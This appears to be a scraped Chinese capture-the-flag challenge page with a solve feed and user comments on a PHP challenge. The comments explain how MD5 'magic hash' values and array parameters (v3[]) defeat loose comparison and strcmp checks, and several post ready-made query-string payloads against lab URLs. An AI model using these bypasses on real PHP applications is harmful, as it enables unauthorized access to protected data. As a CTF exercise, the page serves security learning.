评分(15)
解题动态
Yy09 攻破了该题 1小时前
xzw 攻破了该题 2小时前
gao111 攻破了该题 6小时前
18369735915 攻破了该题 18小时前
Marttin 攻破了该题 19小时前
zxs1 攻破了该题 20小时前
icu 攻破了该题 21小时前
T0909766 攻破了该题 21小时前
linda123 攻破了该题 1天前
xoc 攻破了该题 1天前
dawnusk 攻破了该题 1天前
mimopan 攻破了该题 1天前
znaba 攻破了该题 1天前
梦想成为最强白客 攻破了该题 1天前
Lityht 攻破了该题 1天前
18571567960 攻破了该题 1天前
rosinante 攻破了该题 2天前
longwolf0078 攻破了该题 2天前
Nikkii 攻破了该题 3天前
评论
公良棉 4月前
举报
首先CTRL+U打开源码，看到PHP代码，意思叫我们输入v1、v2、v3三个元素，v1、v2没什么好说的，可以见其他评论，然后if(!strcmp($v3, $flag))等价于if(v3 == flag字符串)，我们可以利用 strcmp 漏洞原理，让输入的v3为一个数组（内容是什么不重要），这个时候strcmp会返回Null，而!Null=True，就拿到了flag
沈芷意 4月前
举报
?v1=QNKCDZO&v2=s878926199a&v3[]=1
syhaisy 5月前
举报
?v1=QNKCDZO&v2=240610708&v3[]=1
准备夺冠 6月前
举报
?v1[]=1&v2[]=2&v3[]=3
kitniu 6月前
举报
GET /?v1[]=5&v2[]=3&v3[]=1 HTTP/1.1
smartada 8月前
举报
http://171.80.2.169:12317/?v1[]=1&v2[]=2&v3[]=1111
冷暖自知fzq 8月前
举报
http://171.80.2.169:18359/index.php?chemin=&v1=240610708&v2=QNKCDZO&v3[]=
popk 9月前
举报
flag{******}
ding0520 10月前
举报
http://171.80.2.169:12912/?v1=MMHUWUV&v2=NOOPCJF&v3[]=1
奔跑的开开 11月前
举报
?v1[]=1&v2[]=2&v3[]=3